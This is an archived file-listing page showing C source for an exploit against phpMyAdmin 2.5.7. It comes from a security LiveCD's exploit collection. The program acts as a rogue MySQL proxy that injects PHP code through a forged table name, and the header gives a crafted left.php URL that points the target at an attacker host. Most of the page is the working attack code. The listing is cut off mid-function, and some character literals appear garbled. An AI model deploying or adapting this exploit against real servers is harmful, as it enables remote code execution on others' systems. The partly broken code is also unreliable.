home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / show.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  122 lines

  1.  
  2. /*    
  3.  * p257rcie.c  
  4.  * written by Nasir Simbolon <nasir kecapi com>
  5.  * eagle kecapi com
  6.  * Jakarta, Indonesia
  7.  *
  8.  * June, 10 2004
  9.  *
  10.  * A phpMyAdmin-2.5.7 exploite program.
  11.  * This is a kind of   mysql server wrapper  acts like a proxy except that it will sends a fake table name,
  12.  * when client query "SHOW TABLES",  by replacing the real table name with a string contains exploite codes.
  13.  *
  14.  * Compile : gcc p257rcie.c -o p257rcie.c
  15.  *
  16.  * run with
  17.  * ./p257rcie
  18.  *
  19.  * and go to your target and put
  20.  *
  21.  * http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][4][host]=
  22.  * attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
  23.  * [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
  24.  * [4][only_db]=databasename
  25.  *
  26.  * fill host,port,user,pass and databasename correctly
  27.  *
  28.  */
  29.  
  30.  
  31. #include<stdio.h>
  32. #include<sys/socket.h>
  33. #include<netdb.h>
  34.  
  35. #define BIND_PORT 8889
  36. #define MYSQL_PORT 3306
  37. #define HOSTNAME "localhost"
  38. #define DATABASE "phpmy"
  39.  
  40.  
  41. #define BUFFER_LEN 1024
  42.  
  43. /* This is php code we want to inject into phpMyAdmin
  44.    Do NOT use  single quote (') in the string, use double quote (") instead
  45. */
  46. char *phpcodes = "exec("touch /tmp/your-phpmyadmin-is-vulnerable");";
  47.  
  48.  
  49.   /* This is examples codes I captured when mysql server
  50.      reply to client's request of query "SHOW TABLES" query.
  51.      It shows  database  name 'phpmy' and contain one tablename  'mytable'
  52.      Our aim is to manipulate the data received from mysql server
  53.      by replacing 'mytable' with our exploide codes.
  54.      
  55.      0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
  56.      0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
  57.      '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
  58.      0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
  59.      -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' ,
  60.      'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2
  61.   */
  62.  
  63.  
  64. int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
  65. {
  66.    char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
  67.         0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
  68.         '_'};
  69.    /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */
  70.    char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,
  71.           0x1 ,0x0 ,0x0 ,0x3 ,-2};  
  72.    /* part of int phpcodes string length +1   (8) */
  73.    char my3[3]  = {0x0 ,0x0 ,0x4};
  74.    /* part of int phpcodes string length      (7) */
  75.    /* part of tablename    ('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
  76.    char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2};
  77.  
  78.    int len,i;
  79.  
  80.    len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  strlen(phpcodes) + 5 + 5;
  81.    *expcode = (char*) malloc(sizeof(char) * len);
  82.    
  83.    i = 0;
  84.    bcopy(&my1[0],*expcode + i,21);
  85.    i += 21;
  86.    bcopy(dbname, *expcode + i,strlen(dbname));
  87.    i += strlen(dbname);
  88.    bcopy(&my2[0],*expcode + i,15);
  89.    i += 15;
  90.    (*expcode)[i] = 5 + strlen(phpcodes) + 1;
  91.    i ++;
  92.    bcopy(&my3[0],*expcode + i,3);
  93.    i += 3;  
  94.    (*expcode)[i++] = 5 + strlen(phpcodes) ;
  95.    /* this is our exploite codes*/
  96.    (*expcode)[i++] = '';
  97.    (*expcode)[i++] = ''';
  98.    (*expcode)[i++] = ';';
  99.    bcopy(phpcodes,*expcode + i,strlen(phpcodes));
  100.    i += strlen(phpcodes);
  101.    (*expcode)[i++] = '/';
  102.    (*expcode)[i++] = '*';
  103.    bcopy(&my4[0],*expcode + i,5);
  104.    
  105.    return len;
  106. }
  107.  
  108. /* connect to mysql server*/
  109.  
  110. int connect_mysql()
  111. {
  112.     int s2;
  113.     struct sockaddr_in ina;
  114.     struct hostent *h;
  115.    
  116.     h = gethostbyname(HOSTNAME);
  117.     /* set internet address */
  118.     bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
  119.     ina.sin_family = AF_INET;
  120.     ina.sin_port = htons(MYSQL_PORT);
  121.     //ina.sin_zero[0]='
  122.